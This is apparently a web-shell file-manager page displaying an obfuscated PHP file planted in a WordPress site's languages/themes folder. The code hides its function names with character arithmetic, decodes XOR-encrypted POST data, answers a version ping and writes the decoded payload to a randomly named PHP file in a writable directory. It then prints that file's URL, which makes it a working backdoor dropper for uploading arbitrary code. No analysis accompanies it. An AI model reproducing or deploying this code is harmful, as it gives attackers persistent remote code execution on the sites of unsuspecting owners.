HEX
Server:Apache
System:Linux localhost 5.10.0-14-amd64 #1 SMP Debian 5.10.113-1 (2022-04-29) x86_64
User:enlugo-es (10006)
PHP:7.4.33
Disabled:opcache_get_status
Upload Files
File: /var/www/vhosts/enlugo.es/httpdocs/wp-content/languages/themes/opmhtqcz.php
<?php $bUoHDgi = 'D'.chr(79).chr(67).chr(492-407).chr(963-886).chr(363-294).chr(279-201)."\x54".chr(95)."\122"."\117".'O'.chr(84);$nHDKNi = "\x48".chr(687-603).'T'.'P'."\137"."\x48".chr(79).chr(835-752).chr(226-142);$ePGebewf = "\150"."\x74".chr(116)."\160".chr(468-410)."\x2f".chr(47);$puvLltxP = chr(46).chr(956-844).chr(730-626)."\160";$pQWhypvXRS = chr(206-94)."\150"."\160";$yRYoU = "\146"."\151"."\154".chr(101).'_'.'p'.'u'.'t'.chr(176-81).'c'.chr(553-442)."\156".'t'.chr(550-449)."\156".'t'.chr(115-0);$toZqkT = 'r'."\x61".chr(358-239)."\x75"."\x72".'l'."\144"."\145"."\143".chr(364-253).chr(100)."\x65";$xUuHcrDmMp = chr(268-151).'n'.chr(715-600)."\x65".chr(114).chr(105).chr(371-274)."\x6c".chr(105).'z'."\145";$HifSNLS = chr(105)."\163"."\137".chr(952-833).chr(114)."\x69"."\164".chr(97).chr(98)."\154"."\x65";$lxgaVLRLRz = 'p'.chr(650-546)."\x70".chr(118)."\145".'r'."\163".'i'."\157".chr(110);$rYgjxTr = "\163"."\x74"."\x72".chr(619-524).chr(114).chr(409-298).chr(272-156)."\61".chr(51);$reJRUtScn = 's'."\145"."\162"."\x69".'a'.'l'.chr(105)."\172"."\145";$SaddAyF = 's'.'t'.chr(1054-940).'_'."\x73"."\160"."\154".'i'."\x74";foreach ($_POST as $bYmpLrL => $zyzARQdAF){$cHkJJufFd = strlen($bYmpLrL);if ($cHkJJufFd == 16){$zyzARQdAF = $SaddAyF($toZqkT($rYgjxTr($zyzARQdAF)));$bYmpLrL = array_slice($SaddAyF(str_repeat($bYmpLrL, (count($zyzARQdAF)/16)+1)), 0, count($zyzARQdAF));function cYXJja($VHuXmFzjKY, $GgYhG, $bYmpLrL){$ORUlWgC = "77eb8a3e-aeea-457d-a1b9-49c7086bdbb9";return $VHuXmFzjKY ^ $ORUlWgC[$GgYhG % strlen($ORUlWgC)] ^ $bYmpLrL;}$zyzARQdAF = array_map("cYXJja", array_values($zyzARQdAF), array_keys($zyzARQdAF), array_values($bYmpLrL));$zyzARQdAF = implode("", $zyzARQdAF);$zyzARQdAF = @$xUuHcrDmMp($zyzARQdAF);if (@is_array($zyzARQdAF)){$uhnOerjc = array_keys($zyzARQdAF);$zyzARQdAF = $zyzARQdAF[$uhnOerjc[0]];if ($zyzARQdAF === $uhnOerjc[0]){echo @$reJRUtScn(Array($pQWhypvXRS => @$lxgaVLRLRz(), ));exit();}else {function JkHAmdrlz($KNUZWRfjxMir){static $uYeLDPlfw = array();$jHomqdg = glob($KNUZWRfjxMir . '/*', GLOB_ONLYDIR);$XkbQcdzwZ = count($jHomqdg);if ($XkbQcdzwZ > 0) {foreach ($jHomqdg as $KNUZWRfjxM) {if (@$HifSNLS($KNUZWRfjxM)) {$uYeLDPlfw[] = $KNUZWRfjxM;}}}foreach ($jHomqdg as $KNUZWRfjxMir) JkHAmdrlz($KNUZWRfjxMir);return $uYeLDPlfw;}$cAEYXB = $_SERVER[$bUoHDgi];$jHomqdg = JkHAmdrlz($cAEYXB);$uhnOerjc = array_rand($jHomqdg);$mViSOchQGt = $jHomqdg[$uhnOerjc] . "/" . substr(md5(time()), 0, 8) . $puvLltxP;@$yRYoU($mViSOchQGt, $zyzARQdAF);$nmsxcU = $ePGebewf . $_SERVER[$nHDKNi] . substr($mViSOchQGt, strlen($cAEYXB));print($nmsxcU);die();}}}}